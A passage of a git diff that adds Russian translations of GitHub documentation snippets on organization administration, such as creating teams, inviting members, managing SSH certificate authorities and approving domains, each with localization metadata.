button](/assets/images/help/organizations/verify-domain-final-button.png) diff --git a/translations/ru-RU/data/reusables/organizations/convert-owners-team-confirm.md b/translations/ru-RU/data/reusables/organizations/convert-owners-team-confirm.md new file mode 100644 index 000000000000..5f856d7b476c --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/convert-owners-team-confirm.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8afe6c7367717b0c9d7590d2dfcd7386bf5724b6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122784" +--- +1. В описании новой роли владельца нажмите кнопку **Понятно**. +![Описание новой роли владельцев с выделенной кнопкой «Понятно»](/assets/images/help/teams/okay-got-it.png) diff --git a/translations/ru-RU/data/reusables/organizations/create-team-choose-parent.md b/translations/ru-RU/data/reusables/organizations/create-team-choose-parent.md new file mode 100644 index 000000000000..0051b479ee46 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/create-team-choose-parent.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 804ff50ed353739efdff47bda8d4054a33993f10 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122779" +--- +6. Если вы создаете [дочернюю команду](/articles/about-teams#nested-teams), при необходимости используйте раскрывающееся меню, чтобы выбрать для новой команды родительскую команду. + ![Раскрывающееся меню, в котором перечислены существующие команды в организации](/assets/images/help/teams/choose-parent-team.png) diff --git a/translations/ru-RU/data/reusables/organizations/create_team.md b/translations/ru-RU/data/reusables/organizations/create_team.md new file mode 100644 index 000000000000..8dbc96961662 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/create_team.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 64be72eba3b6dc3c2bd273347c2d54f47a7a4353 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122763" +--- +1. Нажмите **Создать команду**. diff --git a/translations/ru-RU/data/reusables/organizations/custom-repo-roles-ghec-only.md b/translations/ru-RU/data/reusables/organizations/custom-repo-roles-ghec-only.md new file mode 100644 index 000000000000..0d9588b08479 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/custom-repo-roles-ghec-only.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 5138879c90e5348928436f9ea7ab6c302c9735d1 +ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/02/2022 +ms.locfileid: "148131018" +--- +{% ifversion ghec %} {% note %} + +**Примечание.** Создавать пользовательские роли репозитория могут только организации, использующие {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} {% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/organizations/data_saved_for_reinstating_a_former_org_member.md b/translations/ru-RU/data/reusables/organizations/data_saved_for_reinstating_a_former_org_member.md new file mode 100644 index 000000000000..1897d5bc3b6d --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/data_saved_for_reinstating_a_former_org_member.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 211355092b45b411c98239c91aa0a87aac33ea8c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122736" +--- +{% note %} + +**Примечание.** При удалении пользователя из организации данные о членстве сохраняются в течение трех месяцев. Можно восстановить свои данные и любые частные вилки, которые принадлежали им в репозиториях вашей организации, если вы приглашаете пользователя повторно присоединиться к организации в этот период времени. Дополнительные сведения см. в разделе [Восстановление бывшего участника вашей организации](/articles/reinstating-a-former-member-of-your-organization). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/organizations/delete-ssh-ca.md b/translations/ru-RU/data/reusables/organizations/delete-ssh-ca.md new file mode 100644 index 000000000000..1f90889bac6f --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/delete-ssh-ca.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 828c2915bfaa071950c9248f2dc40f5cd105fe93 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122731" +--- +1. В разделе «Центры сертификации SSH» справа от центра сертификации, который требуется удалить, нажмите кнопку **Удалить**. + ![Кнопка "Удалить"](/assets/images/help/organizations/ca-delete-button.png) +2. Ознакомьтесь с предупреждением, а затем щелкните **Понятно, удалить этот ЦС**. + ![Кнопка подтверждения удаления](/assets/images/help/organizations/ca-delete-confirmation.png) diff --git a/translations/ru-RU/data/reusables/organizations/deleted-repos.md b/translations/ru-RU/data/reusables/organizations/deleted-repos.md new file mode 100644 index 000000000000..b0074b076a39 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/deleted-repos.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 38d5dca83378d257b17d6bcd24abc41899bbc42a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122723" +--- +1. На левой боковой панели щелкните **Удаленные репозитории**. + ![Вкладка «Удаленные репозитории»](/assets/images/help/organizations/deleted-repos.png) diff --git a/translations/ru-RU/data/reusables/organizations/disable_project_board_results.md b/translations/ru-RU/data/reusables/organizations/disable_project_board_results.md new file mode 100644 index 000000000000..09dfe3ffc558 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/disable_project_board_results.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d8b0b1d3b899ac3fc15756b36190ebe6eb875212 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122720" +--- +Если вы решите повторно включить панели проектов, будут доступны все добавленные ранее панели проектов. diff --git a/translations/ru-RU/data/reusables/organizations/domains-approve-domain.md b/translations/ru-RU/data/reusables/organizations/domains-approve-domain.md new file mode 100644 index 000000000000..6ad838252e32 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/domains-approve-domain.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 838f589be39d4cc28ea3321ef3d3ff1c138fc03d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122715" +--- +1. Ознакомьтесь со сведениями об утверждении домена, а затем нажмите кнопку **Утвердить _ДОМЕН_**. + ![Кнопка «Утвердить ДОМЕН» в диалоговом окне подтверждения](/assets/images/help/organizations/domains-approve-domain.png) diff --git a/translations/ru-RU/data/reusables/organizations/domains-approve-it-instead.md b/translations/ru-RU/data/reusables/organizations/domains-approve-it-instead.md new file mode 100644 index 000000000000..d4205d084c1e --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/domains-approve-it-instead.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 99aea4a69d28e74df6ec2317fe4b215180c0c3a3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122712" +--- +1. Справа от сообщения «Не удается проверить этот домен?» нажмите **Утвердить вместо проверки**. + ![Текст «Утвердить вместо проверки» в процессе проверки](/assets/images/help/organizations/domains-approve-it-instead.png) diff --git a/translations/ru-RU/data/reusables/organizations/filter-security-overview.md b/translations/ru-RU/data/reusables/organizations/filter-security-overview.md new file mode 100644 index 000000000000..528dd6c379ba --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/filter-security-overview.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 1f0beb00b7347d4513f1be341069505af2b34ef4 +ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/12/2022 +ms.locfileid: "148163174" +--- +1. При необходимости отфильтруйте список оповещений. Вы можете щелкнуть несколько фильтров в раскрывающемся меню фильтров, чтобы сузить поиск. Вы также можете ввести квалификаторы поиска в поле **Репозитории поиска**. Дополнительные сведения о доступных квалификаторах см. в разделе [Фильтрация оповещений в разделе «Общие сведения о безопасности»](/code-security/security-overview/filtering-alerts-in-the-security-overview). + ![Раскрывающееся меню фильтров и поле «Репозитории поиска» в разделе «Общие сведения о безопасности»](/assets/images/help/security-overview/security-overview-filter-alerts.png) diff --git a/translations/ru-RU/data/reusables/organizations/follow-organizations-beta.md b/translations/ru-RU/data/reusables/organizations/follow-organizations-beta.md new file mode 100644 index 000000000000..bd27d9948e4f --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/follow-organizations-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 4e2e744a966a1e1b8111f6f5194542f7512670fc +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109608" +--- +{% note %} + +**Примечание.** Возможность подписки на организации сейчас находится в общедоступной бета-версии и может быть изменена. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/organizations/github-apps-settings-sidebar.md b/translations/ru-RU/data/reusables/organizations/github-apps-settings-sidebar.md new file mode 100644 index 000000000000..439e009ac0f6 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/github-apps-settings-sidebar.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the left sidebar, select **{% octicon "code" aria-label="The code icon" %} Developer settings** then click **{% data variables.product.prodname_github_apps %}**. +{% else %} +1. In the left sidebar, click **{% data variables.product.prodname_github_apps %}**. +![{% data variables.product.prodname_github_apps %} settings](/assets/images/help/organizations/github-apps-settings-sidebar.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/invite-teams-or-people.md b/translations/ru-RU/data/reusables/organizations/invite-teams-or-people.md new file mode 100644 index 000000000000..38c22da8ad85 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/invite-teams-or-people.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 477402db423343d23bed2d08e8af2559e61dbd82 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122696" +--- +1. Справа от раздела «Управление доступом» нажмите **Добавить людей** или **Добавить команды**. + ![Кнопка «Пригласить команды или людей»](/assets/images/help/repository/manage-access-invite-button.png) diff --git a/translations/ru-RU/data/reusables/organizations/invite_member_from_people_tab.md b/translations/ru-RU/data/reusables/organizations/invite_member_from_people_tab.md new file mode 100644 index 000000000000..eea9d4c6a7df --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/invite_member_from_people_tab.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 7f1b2d62ddae5f44f3fe49fbff0cb18c1980db4e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122691" +--- +{% ifversion fpt or ghec %}1. На вкладке «Люди» нажмите кнопку **Пригласить участника**. + ![Кнопка «Пригласить участника»](/assets/images/help/organizations/people-tab-invite-member.png){% else %} +1. На вкладке «Люди» нажмите кнопку **Добавить участника**. + ![Кнопка «Добавить участника»](/assets/images/help/organizations/people-tab-invite-member-ghe.png){% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/invite_to_org.md b/translations/ru-RU/data/reusables/organizations/invite_to_org.md new file mode 100644 index 000000000000..9f1348b58f9e --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/invite_to_org.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 7af8045c1424a4206fc2a2d59cdb32ab4840bfdd +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879804" +--- +{% ifversion fpt or ghec %}1. Введите имя пользователя, ФИО или адрес электронной почты для того пользователя, которого вы хотите пригласить, и нажмите кнопку **Пригласить**. + ![Форма приглашения участника](/assets/images/help/organizations/org-invite-modal.png){% else %} +1. Введите имя пользователя, ФИО или адрес электронной почты для того пользователя, которого вы хотите добавить, и нажмите кнопку **Пригласить**. + ![Форма приглашения участника](/assets/images/help/organizations/org-invite-modal.png){% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/invite_to_team.md b/translations/ru-RU/data/reusables/organizations/invite_to_team.md new file mode 100644 index 000000000000..afa40096e3a5 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/invite_to_team.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 603c044bcd701d91b2f867ac15d29d0117ae80d5 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883743" +--- +{% ifversion fpt or ghec %} +1. Добавьте участника организации в команду или пригласите пользователя, не являющегося участником, присоединиться к команде: + - Если пользователь, которого вы хотите добавить, уже является участником вашей организации, введите его имя пользователя и нажмите клавишу **ВВОД**. Пользователь сразу же будет добавлен в команду. + - Если пользователь, которого вы хотите добавить,еще не является участником вашей организации, введите его имя пользователя или адрес электронной почты и нажмите клавишу **ВВОД**. Пользователь получит по электронной почте приглашение присоединиться к организации и будет добавлен в команду после того, как примет приглашение.{% else %} +1. Введите имя пользователя, которого вы хотите добавить, и нажмите клавишу **ВВОД**. Пользователь сразу же будет добавлен в команду. +![Всплывающее окно для добавления участника команды](/assets/images/help/organizations/Organization-add-team.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/member-privileges.md b/translations/ru-RU/data/reusables/organizations/member-privileges.md new file mode 100644 index 000000000000..3fe439b17011 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/member-privileges.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Access" section of the sidebar, click **{% octicon "people" aria-label="The people icon" %} Member privileges**. +{% else %} +4. In the left sidebar, click **Member privileges**. +![Member privileges option in org settings](/assets/images/help/organizations/org-settings-member-privileges.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/mixed-roles-warning.md b/translations/ru-RU/data/reusables/organizations/mixed-roles-warning.md new file mode 100644 index 000000000000..31f89c2eabb5 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/mixed-roles-warning.md @@ -0,0 +1 @@ +If a person has been given conflicting access, you'll see a warning on the repository access page. The warning appears with "{% octicon "alert" aria-label="The alert icon" %} Mixed roles" next to the person with the conflicting access. To see the source of the conflicting access, hover over the warning icon or click **Mixed roles**. diff --git a/translations/ru-RU/data/reusables/organizations/navigate-to-org.md b/translations/ru-RU/data/reusables/organizations/navigate-to-org.md new file mode 100644 index 000000000000..ef3f95d2c287 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/navigate-to-org.md @@ -0,0 +1 @@ +1. On {% data variables.location.product_location %}, navigate to the main page of the organization. diff --git a/translations/ru-RU/data/reusables/organizations/new-org-permissions-more-info.md b/translations/ru-RU/data/reusables/organizations/new-org-permissions-more-info.md new file mode 100644 index 000000000000..ec149dbc533f --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/new-org-permissions-more-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e676904aee049925f9a0d394f2785735a59ee19b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122632" +--- +Дополнительные сведения см. в статье [о ролях в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). diff --git a/translations/ru-RU/data/reusables/organizations/new-organization.md b/translations/ru-RU/data/reusables/organizations/new-organization.md new file mode 100644 index 000000000000..bdcc4a656998 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/new-organization.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5f4e7311590ef2c6aa1bec321f97f8db79960870 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122627" +--- +1. В разделе «Организации» щелкните **Создать организацию**. +![Кнопка для создания новой организации](/assets/images/help/settings/new-org-button.png) diff --git a/translations/ru-RU/data/reusables/organizations/new-repo-permissions-more-info.md b/translations/ru-RU/data/reusables/organizations/new-repo-permissions-more-info.md new file mode 100644 index 000000000000..12ea682fbebd --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/new-repo-permissions-more-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 26baef64417db97b3832984d39ca26c427dc77e1 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883006" +--- +Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). diff --git a/translations/ru-RU/data/reusables/organizations/new-ssh-ca.md b/translations/ru-RU/data/reusables/organizations/new-ssh-ca.md new file mode 100644 index 000000000000..15e03aef7d47 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/new-ssh-ca.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 50f5872ca3ee3cc64b6a65a0507dd1a92b9b4cbf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122619" +--- +1. Справа от поля «Центры сертификации SSH» нажмите кнопку **Создать ЦС**. + ![Кнопка «Создать ЦС»](/assets/images/help/organizations/new-ca-button.png) +2. В разделе «Ключ» вставьте открытый ключ SSH. + ![Поле ключа для добавления ЦС](/assets/images/help/organizations/ca-key-field.png) +3. Нажмите **Добавить ЦС**. diff --git a/translations/ru-RU/data/reusables/organizations/new_team.md b/translations/ru-RU/data/reusables/organizations/new_team.md new file mode 100644 index 000000000000..ad329ffe3454 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/new_team.md @@ -0,0 +1,8 @@ +1. Under your organization name, click {% octicon "people" aria-label="The people icon" %} **Teams**. + {% ifversion fpt or ghes or ghec %} + ![Teams tab](/assets/images/help/organizations/organization-teams-tab-with-overview.png) + {% else %} + ![Teams tab](/assets/images/help/organizations/organization-teams-tab.png) + {% endif %} +1. On the right side of the Teams tab, click **New team**. + ![New team button](/assets/images/help/teams/new-team-button.png) diff --git a/translations/ru-RU/data/reusables/organizations/oauth_app_access.md b/translations/ru-RU/data/reusables/organizations/oauth_app_access.md new file mode 100644 index 000000000000..a2dc8773f5d0 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/oauth_app_access.md @@ -0,0 +1 @@ +1. In the "Integrations" section of the sidebar, click **{% octicon "key" aria-label="The key icon" %} Third-party access**. diff --git a/translations/ru-RU/data/reusables/organizations/oauth_app_restrictions_default.md b/translations/ru-RU/data/reusables/organizations/oauth_app_restrictions_default.md new file mode 100644 index 000000000000..4e0ac1b6739b --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/oauth_app_restrictions_default.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b9d870ddcce085e2fc5d5a489276d641c5d7ad70 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145122571" +--- +{% ifversion fpt or ghec %}При создании новой организации ограничения доступа {% data variables.product.prodname_oauth_app %} включены по умолчанию. Владельцы организации могут в любое время [отключить ограничения доступа {% data variables.product.prodname_oauth_app %}](/articles/disabling-oauth-app-access-restrictions-for-your-organization).{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/org-invite-expiration.md b/translations/ru-RU/data/reusables/organizations/org-invite-expiration.md new file mode 100644 index 000000000000..586ca5ef1818 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/org-invite-expiration.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 19aa020ae0ff7ab31254079043a048cae86a823e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122563" +--- +Срок действия ожидающих приглашений истекает через 7 дней, после чего восстанавливаются все невостребованные лицензии. diff --git a/translations/ru-RU/data/reusables/organizations/org-invite-scim.md b/translations/ru-RU/data/reusables/organizations/org-invite-scim.md new file mode 100644 index 000000000000..5b651d46c018 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/org-invite-scim.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5cc309eef4a786e150774afb03e77843e59667d1 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878421" +--- +Если приглашение не принимается в течение семи дней, срок действия ожидающего приглашения истекает автоматически. После истечения срока действия {% data variables.product.company_short %} больше не будет выставлять счета за ожидающие приглашения.{% ifversion ghec %} Если запрос SCIM от поставщика удостоверений (IdP) создает приглашение, срок действия приглашения не истекает.{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/org-list.md b/translations/ru-RU/data/reusables/organizations/org-list.md new file mode 100644 index 000000000000..41ba441d752b --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/org-list.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0d1e4420065937ac3cb4e296487ba4de00c7344d +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880014" +--- +1. В разделе "Организации" рядом с названием организации щелкните **Параметры**. + ![Снимок экрана: организация рядом с кнопкой "Параметры"](/assets/images/help/organizations/list-of-organizations.png) diff --git a/translations/ru-RU/data/reusables/organizations/org-ownership-recommendation.md b/translations/ru-RU/data/reusables/organizations/org-ownership-recommendation.md new file mode 100644 index 000000000000..bf7fe8da0159 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/org-ownership-recommendation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 64c92d2427b9be166d820bf3fcb23d39d449a295 +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163472" +--- +Если у организации есть только один владелец, проекты организации могут стать недоступными, если владелец недоступен. Чтобы никто не потерял доступ к проекту, рекомендуется, чтобы по крайней мере два человека в каждой организации имели роль владельца. diff --git a/translations/ru-RU/data/reusables/organizations/org-settings-repository-roles.md b/translations/ru-RU/data/reusables/organizations/org-settings-repository-roles.md new file mode 100644 index 000000000000..f57838ae3a2c --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/org-settings-repository-roles.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d78bee91839defed786f2cf13e6a435ff3093961 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122547" +--- +1. В разделе "Доступ" боковой панели щелкните **{% octicon "id-badge" aria-label="The ID badge icon" %} Repository roles** (Роли репозитория). diff --git a/translations/ru-RU/data/reusables/organizations/org_settings.md b/translations/ru-RU/data/reusables/organizations/org_settings.md new file mode 100644 index 000000000000..569b0da9ea06 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/org_settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ddc27b0ace0d5be48f1d93fe36ed27cc1a16184f +ms.sourcegitcommit: 0c000ebc6e405c1d634fe370f834cd6dce35124b +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/02/2022 +ms.locfileid: "148130911" +--- +1. Под названием организации щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. +{% ifversion fpt or ghes or ghec %} ![ Кнопка](/assets/images/help/organizations/organization-settings-tab-with-overview-tab.png) "Параметры организации" {% else %} ![Кнопка](/assets/images/help/organizations/organization-settings-tab.png) "Параметры организации" {% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/organization-name.md b/translations/ru-RU/data/reusables/organizations/organization-name.md new file mode 100644 index 000000000000..cf73470e2908 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/organization-name.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 58b6a9db23ed8b7ea32d0840598caf57926baa40 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122539" +--- +1. В поле "Имя учетной записи организации" введите имя учетной записи вашей организации. +![Поле для ввода названия организации](/assets/images/help/organizations/new-org-name.png) diff --git a/translations/ru-RU/data/reusables/organizations/organization-plans.md b/translations/ru-RU/data/reusables/organizations/organization-plans.md new file mode 100644 index 000000000000..d417b8e59c7a --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/organization-plans.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 0372bc08bb87ea419c1b07a9a640ba1611af1d84 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147389942" +--- +{% ifversion fpt or ghec %} Все организации могут владеть неограниченным количеством общедоступных и частных репозиториев. Организации могут использовать бесплатный план {% data variables.product.prodname_free_team %} с ограниченными возможностями для частных репозиториев. Чтобы получить полный набор функций для частных репозиториев и дополнительных функций на уровне организации, включая единый вход SAML и улучшенную поддержку, можно перейти на план {% data variables.product.prodname_team %} или {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} + +{% ifversion fpt %} {% data reusables.enterprise.link-to-ghec-trial %}{% endif %} {% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/organization-wide-project.md b/translations/ru-RU/data/reusables/organizations/organization-wide-project.md new file mode 100644 index 000000000000..052670fdf522 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/organization-wide-project.md @@ -0,0 +1,6 @@ +1. Under your organization name, click {% octicon "project" aria-label="The Projects icon" %} **Projects**. + {% ifversion fpt or ghes or ghec %} + ![Projects tab for your organization](/assets/images/help/organizations/organization-projects-tab-with-overview-tab.png) + {% else %} + ![Projects tab for your organization](/assets/images/help/organizations/organization-projects-tab.png) + {% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/outside-collaborators-use-seats.md b/translations/ru-RU/data/reusables/organizations/outside-collaborators-use-seats.md new file mode 100644 index 000000000000..21a06b0ccf79 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/outside-collaborators-use-seats.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b692fa5f67c502468e33e3358e612b40dd598a41 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882982" +--- +При добавлении внешнего участника совместной работы в частный{% ifversion ghec %} или внутренний{% endif %} репозиторий будет использована одна из платных лицензий. Дополнительные сведения см. в разделе {% ifversion fpt or ghec %}[Сведения о расценках за пользователей](/billing/managing-billing-for-your-github-account/about-per-user-pricing){% elsif ghes or ghae %}[Сведения о выставлении счетов для вашего предприятия](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise){% endif %}. diff --git a/translations/ru-RU/data/reusables/organizations/outside_collaborator_forks.md b/translations/ru-RU/data/reusables/organizations/outside_collaborator_forks.md new file mode 100644 index 000000000000..0fa43f72fba0 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/outside_collaborator_forks.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bebc28240c6b2ff7c395f6b719e8cdc0358dd247 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122480" +--- +При добавлении внешнего участника совместной работы в репозиторий вам также потребуется добавить его во все вилки этого репозитория, к которым у него должен быть доступ. diff --git a/translations/ru-RU/data/reusables/organizations/outside_collaborators_description.md b/translations/ru-RU/data/reusables/organizations/outside_collaborators_description.md new file mode 100644 index 000000000000..639837b83d74 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/outside_collaborators_description.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: a5dd18f8480462a2692e6c254f630ebfa2acbca4 